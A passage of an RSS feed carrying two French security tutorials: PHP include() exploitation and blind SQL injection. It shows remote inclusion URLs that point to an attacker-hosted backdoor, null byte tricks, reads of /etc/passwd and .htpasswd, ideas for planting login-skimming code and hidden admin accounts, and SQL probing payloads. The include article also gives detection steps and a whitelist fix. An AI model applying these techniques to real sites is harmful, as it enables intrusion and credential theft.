l&#39;inclure sur le serveur vuln&eacute;rable, elle sera ex&eacute;cut&eacute;e  non pas par le serveur vuln&eacute;rable, mais par le serveur qui l&#39;h&eacute;berge (le notre !). Il y a donc deux solutions :</p>         <ul>    <li>Soit nous renommons notre backdoor avec une extension non ex&eacute;cut&eacute;e, par exemple .txt.</li>       <li>Soit nous pla&ccedil;ons notre backdoor sur un serveur n&#39;ex&eacute;cutant pas le PHP. C&#39;est assez rare, mais &ccedil;a existe par exemple certains serveurs de pages perso gratuites comme Orange). une autre solution est d&#39;utiliser un serveur FTP, qui autorise un acc&egrave;s en anonyme. Cr&eacute;er le sien n&#39;est pas dur ; certains logiciels gratuits et libres permettant de le faire assez facilement.</li>    </ul>          <p>Quelque soit la solution choisie, nous appelons <code>http://notre-serveur.com/backdoor.txt</code> l&#39;URL de notre backdoor (si elle est sur un serveur FTP, remplacez &eacute;videmment http:// par ftp:// et indiquez le login/pass de mani&egrave;re habituelle).</p>          <p>Et voila ! Nous pouvons donc appeler la page vuln&eacute;rable de cette mani&egrave;re :</p>         <div class="code"> index.php?page=http://notre-serveur.com/backdoor.txt </div>           <p>Et nous verrons notre backdoor s&#39;afficher.</p>       <h3 id="p2ii">2.ii. Variante : Technique du null byte</h3>          <p>Maintenant que nous savons exploiter une include() de fa&ccedil;on simple, corsons la situation. Imaginons que le code vuln&eacute;rable est d&eacute;sormais celui-ci :</p>          <div class="code"> &lt;?<br />     if(isset($_GET[&#39;page&#39;]))<br />     &nbsp;&nbsp;&nbsp;include($_GET[&#39;page&#39;] . &quot;.php&quot;);<br />     else<br />     &nbsp;&nbsp;&nbsp;include(&#39;default.php&#39;);<br />     ?&gt; </div>           <p>Ici, l&#39;extension &quot;.php&quot; est automatiquement rajout&eacute;e &agrave; la variable. Cela force donc noter backdoor &agrave; avoir une extension .php. Nous devons donc, en th&eacute;orie, nous trouver un serveur n&#39;ex&eacute;cutant pas PHP pour placer notre backdoor, sinon cela ne marchera pas.</p>           <p>Finalement, il existe une solution pour contourner ce probl&egrave;me : la technique de l&#39;octet nul (null byte en Anglais). Cela consiste &agrave; rajouter l&#39;extension voulue de notre backdoor (.txt en l&#39;occurence) et &agrave; placer un caract&egrave;re sp&eacute;cial qui va perturber la fonction. Ce caract&egrave;re est le z&eacute;ro ASCII. Il n&#39;est pas repr&eacute;sentable sur cette page :) Comme nous allons le passer dans l&#39;URL, il va falloir l&#39;encoder. Son encodage sera donc &quot;%00&quot; puisque dans une URL, %xx d&eacute;signe le caract&egrave;re de valeur ASCII xx en h&eacute;xad&eacute;cimal.</p>          <p>En r&eacute;sum&eacute;, il faudra donc inclure :</p>          <div class="code"> index.php?page=http://notre-serveur.com/backdoor.txt%00 </div>           <p>Mais au fait, pourquoi ctete technique marche-t-elle ? Tout simplement parce que la fonction include() va &ecirc;tre trait&eacute;e (entre autres) par une fonction programm&eacute;e en langage C. Et en C, on d&eacute;signe la fin d&#39;une cha&icirc;ne de caract&egrave;res par un octet null (\x00 en notation classique). Dans le dernier exemple, le param&egrave;tre de la fonction sera :  <code>&quot;http://notre-serveur.com/backdoor.txt\x00.php&quot;</code> puisque &quot;.php&quot; est rajout&eacute; automatiquement &agrave; la fin. Mais comme \x00 indique la fin de la cha&icirc;ne de caract&egrave;re, tout le reste sera tronqu&eacute; !</p>          <p>Attention, selon les cas cette technique ne marche pas toujours. Cela d&eacute;pend de la configuration su serveur et des v&eacute;rifications faites dans le script. Mais rappelons que de toute fa&ccedil;on, il suffit de mettre la page sur un serveur n&#39;ex&eacute;cutant pas le PHP pour que cela marche...</p>          <p><strong>Remarque importante :</strong> Dans le cas ou une cha&icirc;ne de caract&egrave;res est rajout&eacute;e <em>apr&egrave;s</em> la variable, on utilise la technique du null byte. Mais si jamais une cha&icirc;ne est plac&eacute;e <em>avant</em>, il n&#39;y a (&agrave; ma connaissance) aucune technique permettant de bypasser cette protection.</p>      <h3 id="p2iii">2.iii. Inclusion d&#39;un fichier sensible</h3>          <p>Jusqu&#39;ici nous n&#39;avons cherch&eacute; qu&#39;&agrave; inclure notre propre page. Mais il est tout &agrave; fait possible, avec cette faille, d&#39;inclure un fichier se trouvant sur le serveur vuln&eacute;rable ! Et d&#39;ailleurs, c&#39;est quelque fois la seule possibilit&eacute;, car certaines protections d&eacute;sactivent la possibilit&eacute; d&#39;inclure du code situ&eacute; sur un autre serveur.</p>          <p>Il est donc faisable d&#39;inclure un fichier contenant des informations sensibles comme des mots de passe. Par exemple, un fichier .htaccess, .htpasswd, ou carr&eacute;ment le fichier /etc/passwd ou m&ecirc;me /etc/shadow si les droits le permettent. Mais un serveur ne tourne que tr&egrave;s rarement en root, donc ne vous faites pas d&#39;illusion. (Pour ceux qui l&#39;ignorent, le fichier /etc/shadow n&#39;est lisible que par le root)</p>          <p><strong>Note :</strong> Il est possible de r&eacute;cup&eacute;rer des .htpasswd car bien qu&#39;Apache s&#39;en serve pour limiter les acc&egrave;s &agrave; un r&eacute;pertoire, il ignore cette protection lorsqu&#39;il s&#39;agit de faire des include() !</p>          <p>En pratique, on essaye de rep&eacute;rer au pr&eacute;alable des zones prot&eacute;g&eacute;es par des .htpasswd, et on tente de deviner dans quel r&eacute;pertoire ils se trouvent, en testant successivement des param&egrave;tres comme &quot;../.htpasswd&quot; ou &quot;../../.htpasswd&quot; ou encore &quot;../dossier/.htpasswd&quot;. L&agrave; encore, tout d&eacute;pend de la configuration du serveur.</p>          <p>Ce type de fichier n&#39;est pas le seul que l&#39;on puisse r&eacute;cup&eacute;rer. On peut tout &agrave; fait tenter de r&eacute;cup&eacute;rer des hashs MD5 ou m&ecirc;me des fichiers contenant des mots de passes en clair si le webmaster en a cach&eacute;...</p>           <p>Une fois les fichiers de mot de passes r&eacute;cup&eacute;r&eacute;s, vous pouvez les cracker avec un programme ad&eacute;quat. Par exemple, Cain, ou John The Ripper. Si vous avez crack&eacute; un .htpasswd, vous pourrez alors acc&eacute;der aux dossiers prot&eacute;g&eacute;s, et si vous avez crack&eacute; un /etc/passwd (ou /etc/shadow) vous aurez le couple user/pass n&eacute;cessaire pour vous loguer si vous d&eacute;couvrez un acc&egrave;s SSH sur la machine.</p>             <h2 id="p3">3. Des id&eacute;es de backdoors</h2>          <p>Nous avons fait le tour des techniques courantes d&#39;exploitation. Revenons un peu aux backdoors et voyons les possibilit&eacute;s qu&#39;elles nous offrent. Les quelques id&eacute;es qui suivent devraient vous permettre d&#39;enrichir vos propres backdoors ;)</p>      <h3 id="p3i">3.i. Afficher la source</h3>          <p>Une des premi&egrave;res choses int&eacute;ressantes &agrave; faire est s&ucirc;rement d&#39;afficher la source de la page vuln&eacute;rable (et des autres pages). Cela permet en effet de lire en clair le code PHP des pages et de d&eacute;tecter les &eacute;ventuelles proc&eacute;dures de s&eacute;curit&eacute; utils&eacute;es. Pour lister la source d&#39;ue page, on utilise g&eacute;n&eacute;ralement un appel &agrave; <code>show_source(&#39;page.php&#39;);</code>.</p>          <p>C&#39;est aussi dans la source que l&#39;on peut trouver plein d&#39;infos utiles comme par exemple des commentaires contenant des mot de passes, ou m&ecirc;me des variables g&eacute;rant l&#39;acc&egrave;s &agrave; une base SQL.</p>      <h3 id="p3ii">3.ii. Lister les dossiers</h3>          <p>Afficher l&#39;arborescence du site est &eacute;galement tr&egrave;s int&eacute;ressent. Cela permet de se rep&eacute;rer et d&#39;avoir une vison claire de tous les dossiers, et &eacute;ventuellement de d&eacute;tecter des fichiers sensibles cach&eacute;s (du style admin.php ou config.php). Plusieurs techniques existent pour lister le contenu d&#39;un dossier. Je vous ram&egrave;ne au <a href="http://www.php.net/">manuel PHP</a> pour en savoir plus car faire un inventaire de toutes les fonctions sortirait largement du cadre de cet article.</p>      <h3 id="p3iii">3.iii. Modifier un fichier pour implanter une bakcdoor permanente</h3>          <p>Cette technique est sans doute une arme ultime en ce qui concerne l&#39;exploitation des failles Include(). Elle consiste &agrave; utiliser la backdoor pour modifier un fichier PHP utilis&eacute; par le site, et y introduire du code malveillant, qui sera donc ex&eacute;cut&eacute; &agrave; chaque visite du site touch&eacute;.</p>          <p>Les applictaions sont illimit&eacute;s. Par exemple, si le site dispose d&#39;un acc&egrave;s par login/pass avec formulaire, on peut compromettre la proc&eacute;dure servant &agrave; authentifier les personnes ayant tap&eacute; leurs identifiants. Il suffit d&#39;y introduire un appel &agrave; la fonction <code>mail()</code> qui nous enverra par mail les codes d&#39;acc&egrave;s de chaque visiteur qui se logue sur le site ! Cela permet entre autres de bypasser le fait que les mots de passes soient stock&eacute;s en crypt&eacute; dans une base de donn&eacute;es, puisqu&#39;il suffira d&#39;attendre qu&#39;un utilisateur se connecte pour recevoir ses identifiants <strong>en clair</strong> par mail... Combin&eacute;e au SE cette technique peut faire <em>tr&egrave;s</em> mal...</p>          <p>La condition requise pour utiliser ctete technique est que l&#39;acc&egrave;s en &eacute;criture soit possible sur les fichiers voulus, ce qui n&#39;est pas toujours le cas. De plus, il ne faut pas que l&#39;administrateur se rende compte que ses fichiers ont &eacute;t&eacute; modifi&eacute;s, et &eacute;galement qu&#39;il ne fasse pas trop souvent de mise &agrave; jour. En effet, s&#39;il met &agrave; jour le fichier compromis, la backdoor dispara&icirc;tra aussi avec lui.</p>          <p>Encore une fois, les fonctions permettant de modifier les fichiers se trouvent dans la doc PHP, qui est tr&egrave;s bien faite et qui contient plein d&#39;exemples.</p>           <p><strong>Note :</strong> Une variante consisterait &agrave; uploader un fichier PHP sur le serveur et &agrave; l&#39;inclure dans toutes les pages... Peut etre plus discret. A voir...</p>      <h3 id="p3iv">3.iv. Ajouter un acc&egrave;s</h3>          <p>Il est &eacute;galement possible de rajouter une entr&eacute;e dans la base de donn&eacute;es. Cela revient &agrave; rajouter un utilisateur suppl&eacute;mentaire (aec les droits maximums si possible), et pourra permettre au hacker de revenir plus tard sur le site uniquement en  rentrant les codes d&#39;acc&egrave;s qu&#39;il aura choisi.</p>          <p>Pour ce faire, l&#39;utilisation des fonctions sp&eacute;cifiques &agrave; MySQL comme mysql_query() est recommand&eacute;.</p>          <p>L&agrave; aussi, le webmaster ne devra pas s&#39;aper&ccedil;evoir de la pr&eacute;sence de cet utilisateur suppl&eacute;mentaire, sinon il risque de le supprimer.</p>           <p>Je pense que vous avons vu les principales choses qu&#39;il est possible de r&eacute;aliser avec une backdoor. Je publierai peut-&ecirc;tre dans quelques temps une backdoor afin d&#39;illustrer la th&eacute;orie que nous venons de voir.</p>             <h2 id="p4">4. D&eacute;tecter une faille include</h2>          <p>Apr&egrave;s avoir vu comment exploiter une faille include, voyons un peu comment en d&eacute;tecter la pr&eacute;sence.</p>          <p>Cela se fait de mani&egrave;re assez simple. Il suffit, comme lors de chaque audit s&eacute;curitaire, de modifier tous les param&egrave;tres possibles de l&#39;URL et d&#39;observer le r&eacute;sultat. Le but est de faire planter le script en tentant d&#39;inclure une page qui n&#39;existe pas. L&#39;erreur r&eacute;sultante produira un warning PHP de ce type :</p>          <div class="code"> <strong>Warning</strong>: main([PARAMETRE_INCORRECT]): failed to open stream: No such file or directory in &lt;[URL_DE_LA_PAGE].php[/b] on line <strong>[NUMERO_DE_LIGNE]</strong><br />     <br />     <br />     <strong>Warning</strong>: main(): Failed opening &#39;[PARAMETRE_INCORRECT]&#39; for inclusion (include_path=&#39;.:/usr/share/php:/usr/share/pear&#39;) in <strong>[URL_DE_LA_PAGE].php</strong> <br />     on line <strong>[NUMERO_DE_LIGNE]</strong> </div>           <p>Avec [PARAMETRE_INCORRECT] la page qu&#39;on a tent&eacute; d&#39;inclure mais qui n&#39;existe pas, [URL_DE_LA_PAGE] l&#39;URL de la page, [NUMERO_DE_LIGNE] le num&eacute;ro de la ligne o&ugrave; se trouve l&#39;include() fautive.</p>          <p>Par cons&eacute;quent, si vous d&eacute;tectez un message de ce type sur un site, il y a de fortes chances qu&#39;une faille include soit pr&eacute;sente... Voici un exemple ; vous tentez d&#39;appeler la page &quot;sdg&quot; avec <code>index.php?page=sdg</code>, et vous obtenez :</p>          <div class="code"> <strong>Warning</strong>: &nbsp;main(sdg): failed to open stream: No such file or directory<br />     &nbsp;in <strong>/home/trance/test/test.php</strong> on line <strong>2</strong><br />     <br />     <strong>Warning</strong>: &nbsp;main(): Failed opening &#39;sdg&#39; for inclusion (include_path=&#39;.:/usr/share/php:/usr/share/pear&#39;) in <strong>/home/trance/test/test.php</strong> on line <strong>2</strong> </div>          <p>Alors vous pouvez supposer que index.php comporte <code>include($_GET[&#39;page&#39;]);</code> &agrave; la ligne 2.</p>          <p>Bien entendu, la variable fautive ne s&#39;appelle pas toujours &quot;page&quot;, aussi devez-vous tester toutes les variables pr&eacute;sentes.</p>          <p>Au passage, remarquez que la pr&eacute;sence d&#39;une faille include entraine (dans 90% des cas) la pr&eacute;sence d&#39;une faille XSS. En effet, on voit appara&icirc;tre dans le Warning ce que l&#39;on a pla&ccedil;&eacute; dans la variable &quot;page&quot; de l&#39;URL... on peut donc contr&ocirc;ler l&#39;affichage de la page en y ins&eacute;rant un script JavaScript ou tout autre contenu malveillant...</p>            <h2 id="p5">5. Corriger une faille include</h2>          <p>Il existe plusieurs fa&ccedil;ons de corriger la faille.</p>          <p>Premi&egrave;rement, il faut s&#39;assurer que les pages que l&#39;on inclut sont bien sur notre serveur et non sur un autre.     Pour se faire, on peut avoir recours &agrave; la fonction <code>file_exists(&#39;nom_de_fichier&#39;)</code> qui renvoit vrai si    le fichier existe sur NOTRE serveur, faux sinon.</p>             <p>Mais cette pr&eacute;caution seule ne suffit pas, puisqu&#39;un attaquant pourra toujours inclure des fichiers .htpasswd ou    autre fichiers sensibles. C&#39;est pourquoi je vous conseille fortement de vous constituer un tableau contenant toutes    les pages dont l&#39;inclusion est autoris&eacute;e, et juste avant de fair une inclusion, vous v&eacute;rifiez la pr&eacute;sence de cette    page dans le tableau. Pour automatiser tout cela, il est pr&eacute;f&eacute;rable de recoder une fonction &quot;include_secure($page)&quot;    qui fait ce travail de mani&egrave;re syst&eacute;matique pour vous. Par exemple :</p>             <div class="code"> &lt;?<br />     /* Biblioth&egrave;que de fonction &quot;bibli.php&quot; &agrave; inclure dans toutes les pages */<br />     &nbsp;&nbsp;<br />     //Toutes les pages autoris&eacute;es<br />     $arrayPages = array(&quot;index.php&quot;,&quot;print.php&quot;);<br />     &nbsp;&nbsp;&nbsp;<br />     //On d&eacute;finit le tableau en tant que variable globale<br />     define(&quot;STRINGTAB&quot;,implode(&quot;,&quot;,$arrayPages));<br />     <br />     function include_secure($page){<br />     <br />     &nbsp;&nbsp;&nbsp;if(in_array($page,explode(&quot;,&quot;,STRINGTAB))) &nbsp;&nbsp;//Si la page est dans le tableau<br />     &nbsp;&nbsp;&nbsp;{<br />     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include($page); &nbsp;&nbsp;//On l&#39;inclut<br />     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return true; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Et on retourne vrai<br />     &nbsp;&nbsp;&nbsp;}<br />     &nbsp;&nbsp;&nbsp;else return false; &nbsp;&nbsp;//Sinon on retourne faux<br />     }<br />     ?&gt;  </div>          <p>Et voi&ccedil;i un exemple de page qui utilise la fonction :</p>         <div class="code"> &lt;?<br />     /* Exemple de page &quot;test.php&quot; */<br />     <br />     //A inclure au tout d&eacute;but de la page<br />     //permet d&#39;utiliser les fonctions de la biblioth&egrave;que<br />     <br />     include(&quot;bibli.php&quot;);<br />     <br />     <br />     if (isset($_GET[&#39;page&#39;]))<br />     {<br />     &nbsp;&nbsp;&nbsp;if(!include_secure($_GET[&#39;page&#39;])) //On tente d&#39;inclure la page pass&eacute;e en param&egrave;tre<br />     &nbsp;&nbsp;&nbsp;{<br />     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Si &ccedil;a ne marche pas, alors on arr&ecirc;te tout<br />     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//car c&#39;est s&ucirc;rement une tentative malveillante !<br />     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(&quot;Erreur, vous n&#39;avez pas le droit d&#39;inclure cette page !&quot;);<br />     &nbsp;&nbsp;&nbsp;}<br />     }<br />     else include(&#39;index.php&#39;); //Page &agrave; inclure par d&eacute;faut<br />     ?&gt; </div>           <p>Ainsi, un appel &agrave; <code>test.php?page=aaaaa</code> &eacute;chouera, tandis qu&#39;un appel &agrave; <code>test.php?page=print.php</code> marchera.</p>          <p>Voila un exemple complet de s&eacute;curisation. Ici, plus besoin du file_exists(), puisque nous avons indiqu&eacute; nous-m&ecirc;me les pages autoris&eacute;es.</p>             <h2>Conclusion</h2>          <p>Comme vous pouvez vous en douter, la faille include() est exploitable par beaucoup de m&eacute;thodes. Tout d&eacute;pend de votre imagination et de ce que vous souhaitez faire.</p>          <p>Bien que tr&egrave;s puissante, elle est encore pr&eacute;sente sur un nombre consid&eacute;rable de sites web. Petit &agrave; petit, les webmasters prennent conscience de sa gravit&eacute; et la corrigent... mais pas toujours de la bonne fa&ccedil;on, ce qui fait que la faille est toujours l&agrave;. J&#39;esp&egrave;re qu&#39;apr&egrave;s avoir lu ceci, certains webmasters r&eacute;fl&eacute;chiront et agiront en cons&eacute;quence afin d&#39;en finir d&eacute;finitivement avec cette faille.</p>     <p><br />   <em>Cet article a &eacute;t&eacute; r&eacute;dig&eacute; par Trancefusion et provient de <a href="http://www.ghostsinthestack.org/article-16-la-faille-include.html">http://www.ghostsinthestack.org/article-16-la-faille-include.html</a> . Il est diffus&eacute; sous licence <a href="http://creativecommons.org/licenses/by-nc-sa/2.0/fr/">Creative Commons By-Nc-Sa 2.0</a> .</em><br />   </p>    ]]></content:encoded>
		<pubDate>Sat, 31 Mar 2007 00:51:19 +0200</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-1511-3754-la-faille-include.html</guid>
	</item>
	<item>
		<title><![CDATA[Blind SQL Injections]]></title>
		<link>http://www.loadation.net/article-1511-3752-blind-sql-injections.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[Les Blind SQL Injections, ou &quot;injections SQL &agrave; l&#39;aveuglette&quot; font partie des techniques avanc&eacute;es d&#39;injections SQL. On les utilise dans le cas de scripts &agrave; r&eacute;ponse binaire, c&#39;est &agrave; dire qui retournent une r&eacute;ponse du type soit vrai,...]]></description>
		<content:encoded><![CDATA[  <div id="sommaire">  <h2>Sommaire</h2>     <ol>  <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3752#p1">Exemple - Principe de base</a></li>   <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3752#p2">R&eacute;cup&eacute;ration du nombre de champs, leur nom, leur type</a></li>   <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3752#p3">Construction d&#39;un exploit</a></li>  </ol>    				</div>   				 				 		<h2>Introduction</h2>      <p>Pour ne r&eacute;p&eacute;ter que ce qui est dit dans le r&eacute;sum&eacute;, nous allons nous int&eacute;resser aux injections SQL en aveugle. Ici, pas question d&#39;afficher directement les informations, puisque la nature m&ecirc;me du script ne le permet pas, vu qu&#39;il retourne seulement deux types de r&eacute;ponse. Maglr&eacute; cette difficult&eacute; suppl&eacute;mentaire, nous allons voir comment proc&eacute;der, en utilisant au maximum le langage SQL ainsi que tout ce qu&#39;il met &agrave; disposition.</p>      <p>ATTENTION toutefois : les injections SQL d&eacute;pendent en g&eacute;n&eacute;ral du type de serveur sur lequel vous les testez. Ici, pour simplifier, nous prendrons le cas de MySQL. Plus tard, nous verrons comment d&eacute;tecter le type de serveur sur lequel nous sommes : le SQL fingerprinting.</p>      <p><strong>Avertissement : cet article necessite la lecture pr&eacute;alable du <a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3750">premier</a> qui introduit les injections SQL. Je ne vais donc donner que les grandes lignes. Il est tout a fait possible que les injections &agrave; r&eacute;aliser en pratique n&eacute;cessitent par exemple de mettre un d&eacute;but de commentaire (/*) juste apr&egrave;s afin d&#39;&eacute;liminer des parties parasistes de la reqi&ecirc;te originale. Tout d&eacute;pend de la configuration dans laquelle vous vous trouvez.</strong></p>    		<h2 id="p1">1. R&eacute;cup&eacute;ration de la version du serveur</h2>      <p>Conna&icirc;tre le num&eacute;ro de la version du serveur est une &eacute;tape fondamentale et quasiment obligatoire. En effet, selon ce num&eacute;ro, certaines instucttions ne seront pas disponibles. C&#39;est le cas d&#39;UNION, disponible uniquement &agrave; partir des versions 4 de MySQL. A travers cet exemple nous poserons les principes de base ce qui nous permettra d&#39;acc&eacute;l&eacute;rer par la suite.</p>      <p>Le but est donc de r&eacute;cup&eacute;rer la version du serveur, qui est contenue dans la variable @@version. Un exemple :</p>      <div class="code"> SELECT @@version;<br />   4.1.9-max </div>       <p>Maintenant, pla&ccedil;ons nous dans le cadre d&#39;une attaque aveugle. Le but va &ecirc;tre, en utilisant des essais successifs, de trouver cette version sans avoir aucun affichage. Ici, nous nous contenterons de la version &quot;majeure&quot;, c&#39;est &agrave; dire 4 ; c&#39;est celle qui  importe le plus. Nous devons trouver une condition binaire permettant de nous rensigner. Testons :</p>      <div class="code"> SELECT * FROM table WHERE champ = &#39;a&#39; OR @@version &amp;gt; 3;<br />   <br />   (ici on obtient soit une erreur soit un affichage normal) </div>       <p>En  bleu, la requ&ecirc;te originale et en vert ce que l&#39;on a rentr&eacute;. Si l&#39;on a obtenu uen erreur, c&#39;est que la version du serveur est inf&eacute;rieure &agrave; 3, sinon elle est sup&eacute;rieure. Testons avec  4 !</p>      <div class="code"> SELECT * FROM table WHERE champ = &#39;a&#39; OR @@version &amp;gt; 4;<br />   <br />   (ici on obtient soit une erreur soit un affichage normal) </div>       <p>Vous avez compris le principe... D&egrave;s qu&#39;une erreur survient, c&#39;est que la version est entre les deux derniers num&eacute;ros test&eacute;s. </p>      <p>Si jamais nous avions voulu obtenir la version compl&egrave;te, il aurait fallu utiliser SUBSTRING comme ceci :</p>  	   <div class="code"> SELECT * FROM table WHERE champ = &#39;a&#39; OR SUBSTRING(@@version,1,3) = 4.1; </div>       <p>Nous reviendrons sur SUBSTRING apr&egrave;s, mais sachez qu&#39;elle permet d&#39;obtenir une sous-cha&icirc;ne d&#39;une cha&icirc;ne.</p>    		<h2 id="p2">2. R&eacute;cup&eacute;ration du nombre de champs, leur nom, leur type</h2>      <p>Maintenant, l&#39;objectf va &ecirc;tre de &quot;faire parler&quot; le serveur afin qu&#39;il nous donne des informations int&eacute;ressentes.</p>      <p>Si nous voulons d&eacute;couvrir le nom des tables ou des champs, il peut &ecirc;tre int&eacute;ressent d&#39;utilsier UNION afin de d&eacute;cupler la puissance de nos requ&ecirc;tes. Mais pour utiliser UNION, la version du serveur MySQL doit &ecirc;tre sup&eacute;rieure ou &eacute;gale &agrave; 4. Vous savez comment faire pour la r&eacute;cup&eacute;rer, maintenant.</p>     <p>Deuxi&egrave;me condition pour utiliser UNION : il faut que les tables que l&#39;on croise (que l&#39;on unit) aient exactement le m&ecirc;me nombre de champs. Troisi&egrave;me et derni&egrave;re condition : ces champs doivent avoir le m&ecirc;me type.</p>      <p>A partir de cela, on comprend que nous allons devoir obtenir d&#39;une part le nombre des champs et d&#39;autre part leurs type.</p>      <p>Pour r&eacute;cup&eacute;rer le nombre de champs, c&#39;est assez simple. On peut utiliser l&#39;op&eacute;rateur GROUP BY qui permet de regrouper les enregistrements retourn&eacute;s par le script. M&ecirc;me s&#39;il n&#39;y en a qu&#39;un, cela est un crit&egrave;re permettant de trouver le nombre de champs et m&ecirc;me leur noms. En effet, GROUP BY peut s&#39;utiliser soit avec le nom du champ, dans ce cas il g&eacute;n&eacute;rera une erreur si le nom est incorrect ; soit avec le num&eacute;ro du champ. Notez que l&#39;op&eacute;rateur ORDER BY a uns syntaxe similaire mais un comportement diff&eacute;rent, puisqu&#39;il permet de tier les enregistrements. Un exemple pour comprendre :</p>      <div class="code"> SELECT id, champ1 FROM table WHERE id = &#39;$id_existant&#39; GROUP BY id;<br />   retourne vrai<br />   SELECT id, champ1 FROM table WHERE id = &#39;$id_non_existant&#39; GROUP BY id;<br />   <br />   retourne faux<br />   SELECT id, champ1 FROM table WHERE id = &#39;$id_existant&#39; GROUP BY $test;<br />   retourne faux ou erreur (si $test n&#39;est pas un champ)<br />   SELECT id, champ1 FROM table WHERE id = &#39;$id_non_existant&#39; GROUP BY champ1;<br />   retourne vrai<br />   SELECT id, champ1 FROM table WHERE id = &#39;$id_non_existant&#39; GROUP BY 1;<br />   retourne vrai =&amp;gt; il y a au moins un champ<br />   SELECT id, champ1 FROM table WHERE id = &#39;$id_non_existant&#39; GROUP BY 2;<br />   retourne vrai =&amp;gt; il y a au moins deux champs<br />   <br />   SELECT id, champ1 FROM table WHERE id = &#39;$id_non_existant&#39; GROUP BY 3;<br />   retourne faux =&amp;gt; on sait donc qu&#39;il y a deux champs </div>       <p>Il faut bien entendu remplacer les variables pr&eacute;c&eacute;d&eacute;es d&#39;un &#39;$&#39; par ce que vous voulez tester. On remarque que si le nombre apr&egrave;s GROUP BY est sup&eacute;rieur au nombre de champs dans la requ&ecirc;te, cela renvoit faux (plante, en fait). On peut donc maintenant voir le nombre de champs.</p>      <p>Pour tester leur noms, il suffit de mettre le nom &agrave; tester derri&egrave;re GROUP BY. Par contre, ici, on ne pourra pas proc&eacute;der par essais successifs lettre par lettre car on ne peut pas appliquer SUBSTRING sur le nom du champ lui-m&ecirc;me, uniquement sur son contenu. Il faut donc utiliser la <strong>force brute</strong> pure et dure ce qui peut prendre du temps. Mais souvent, on peut se limiter &agrave; essayer &quot;id&quot;, &quot;login&quot;, &quot;date&quot;, &quot;auteur&quot;, &quot;password&quot;, etc. c&#39;est &agrave; dire des noms probables pour des champs.</p>     <p>Concernant le type des champs, on peut ins&eacute;rer diff&eacute;rents types de contenus comme du texte (le plus souvent entre guillemets) pour tester si le champ est cens&eacute; contenir du texte ou nom. Le gros probl&egrave;me de cette technique ets que bien souvent les guillemets sont &eacute;chapp&eacute;es par les magic_quotes ou une fonction lamda de filtrage du site. Il faut donc utiliser tout ce que nous propose MySQL dans la rubrique &quot;cha&icirc;nes de caract&egrave;res&quot;. Je pense notemment &agrave; la fonction <code>char(ascii)</code> qui retourne un caract&egrave;re en fonction de son code ascii, et &eacute;vite d&#39;utiliser les moindres guillemets. La fonction <code>concat(str1, str2, ...</code> concat&egrave;ne des caract&egrave;res ou des sous-cha&icirc;nes pour former une cha&icirc;ne. Pour plus d&#39;infos, je vous ram&egrave;ne &agrave; la doc officielle (cit&eacute;e tout en bas).</p>     		<h2 id="p3">3. Construction d&#39;un exploit</h2>      <p>A pr&eacute;sent, passons &agrave; la pratique. Imaginons un script tout bete vuln&eacute;rable &agrave; une injection SQL. Lorsque nous l&#39;appelons avec l&#39;URL http://site.com/script.php?id=1 , il fonctionne et affiche ce qui suit. (Au passage, je remercie Geo pour l&#39;id&eacute;e du script car je manquais d&#39;inspiration :))</p>      <div class="code"> admin aime les poissons </div>      <p>Si on change id en mettant 2 on obtient :</p>     <div class="code"> modo aime les p&acirc;tes </div>      <p>En mettant 3 on obtient :</p>      <div class="code"> &nbsp;aime les  </div>      <p>Et si l&#39;on met un caract&egrave;re comme &#39;a&#39; on obtient une erreur du style :</p>     <div class="code"> Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in ... on line ...<br />   <br />   Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in ... on line ... </div>       <p>Bien, le script est apparamment vuln&eacute;rable. Il doit &ecirc;tre cens&eacute; afficher la correspondance entre deux champs d&#39;une table qui semblent &ecirc;tre un utilisateur et ce qu&#39;il aime. La requ&ecirc;te doit &ecirc;tre du type : </p>     <div class="code"> SELECT * FROM table WHERE id = $id </div>       <p>Mais nous, nous voulons leur mot de passe ! Comment l&#39;obtenir ?</p>      <p>En fait, ici, nous avons le choix. Nous avons en effet deux solutions pour exploiter la faille. La premi&egrave;re et peut-&ecirc;tre la plus imm&eacute;diate est d&#39;effectuer une injection SQL &agrave; l&#39;aveuglette, qui consiste &agrave; d&eacute;couvrir le mot de passe petit &agrave; petit. Mais il est &eacute;galement possible d&#39;exploiter la faille avec une injection SQL classique qui permettra d&#39;obtenir le mot de passe en un coup. Cette solution peut utiliser les mots-cl&eacute;s UNION et ORDER BY de MySQL. Pourquoi donc a-t-on le choix ? Tout simplement parce qu&#39;ici, le script <em>affiche</em> le r&eacute;sultat de la requ&ecirc;te, donc si l&#39;on parvient &agrave; d&eacute;tourner la requ&ecirc;te on pourra <em>afficher</em> ce qu&#39;il nous plait. Si le script avait juste fait une <em>v&eacute;rification</em> sur le contenu de la base sans l&#39;afficher, la deuxi&egrave;me solution n&#39;aurait pas &eacute;t&eacute; possible. Comme le th&egrave;me de cet article est l&#39;exploitation en aveugle, voyons donc cette premi&egrave;re solution.</p>       <p>Il faut d&eacute;ja obtenir le nom du champ correspondant. L&agrave;, pas de secret, il faut y aller en bruteforcant. On teste &quot;pass&quot;, &quot;password&quot;, &quot;motdepasse&quot;, etc. Et con croise les doigts :). Pour la suite, on consid&eacute;rera que le champ s&#39;appelle &quot;pass&quot;.</p>       <p>La technique utilis&eacute;e ici va &ecirc;tre de modifier la clause WHERE de la requ&ecirc;te. Si la requ&ecirc;te plante, la clause est fausse, sinon elle est vraie. Nous allons donc construire un bruteforceur... &quot;intelligent&quot;. En effet, nous n&#39;allons s&ucirc;rement pas tester tous les mots de passe possibles, mais utiliser le fait qu&#39;il y a une faille, et s&#39;en servir :p. Nous allons tout d&#39;abord r&eacute;cup&eacute;rer la longueur du pass de l&#39;admin. Puis nous testerons 